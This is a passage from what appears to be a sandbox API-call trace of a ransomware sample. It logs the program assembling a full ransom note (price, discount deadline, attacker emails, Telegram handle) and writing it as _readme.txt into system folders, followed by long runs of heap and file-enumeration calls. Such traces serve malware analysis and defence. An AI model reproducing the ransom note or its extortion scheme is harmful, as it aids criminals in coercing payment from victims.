decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.439] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.439] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.440] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.440] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.440] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.440] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.440] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.440] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.440] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.440] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.440] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.441] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.441] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.442] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.443] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.443] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.444] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.444] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.445] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.445] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.446] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.446] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.447] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.447] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | 